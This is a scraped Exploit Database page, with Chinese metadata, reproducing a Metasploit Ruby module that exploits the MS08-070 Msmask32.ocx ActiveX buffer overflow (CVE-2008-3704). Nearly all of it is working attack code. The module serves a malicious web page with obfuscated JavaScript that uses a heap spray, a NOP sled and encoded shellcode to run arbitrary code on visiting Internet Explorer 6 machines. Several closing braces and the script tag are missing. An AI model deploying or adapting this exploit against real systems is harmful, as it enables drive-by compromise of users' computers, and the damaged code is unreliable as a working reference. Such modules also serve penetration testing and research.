Microsoft Visual Studio – Msmask32.ocx ActiveX Buffer Overflow (MS08-070) (Metasploit)

Exploit Database
146 阅读

作者： Metasploit

日期： 2010-11-24
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16507/

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# $Id: ms08_070_visual_studio_msmask.rb 11127 2010-11-24 19:35:38Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.

When passing a specially crafted string to the Mask parameter of the

Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary

code.

'License'=> MSF_LICENSE,

'Author' => [ 'koshi', 'MC' ],

'Version'=> '$Revision: 11127 $',

'References' =>

[

[ 'CVE', '2008-3704' ],

[ 'OSVDB', '47475' ],

[ 'BID', '30674' ],

[ 'MSB', 'MS08-070' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]

'DisclosureDate' => 'Aug 13 2008',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('URIPATH', [ true, "The URI to use.", "/" ])

], self.class)

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.

nops= Rex::Text.to_unescape(make_nops(4))

# Randomize the javascript variable names.

vname= rand_text_alpha(rand(100) + 1)

var_i= rand_text_alpha(rand(30)+ 2)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

rand8= rand_text_alpha(rand(100) + 1)

rand9= rand_text_alpha(rand(100) + 1)

rand10= rand_text_alpha(rand(100) + 1)

rand11= rand_text_alpha(rand(100) + 1)

content = %Q|

<html>

var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';

var #{rand2}='"></object>';

var #{rand3} = '';

for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}

var #{rand4} = unescape("#{shellcode}");

var #{rand5} = (#{rand4}.length * 2);

var #{rand6} = unescape("#{nops}");

var #{rand7} = 0x0c0c0c0c;

var #{rand8} = 0x100000;

var #{rand9} = #{rand8} - (#{rand5} + 1);

var #{rand10} = (#{rand7}+#{rand8})/#{rand8};

var #{rand11} = new Array();

while (#{rand6}.length*2<#{rand9})

{ #{rand6} += #{rand6}; }

#{rand6} = #{rand6}.substring(0,#{rand9}/2);

for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)

{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }

document.write(#{rand1}+#{rand3}+#{rand2});

</script>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end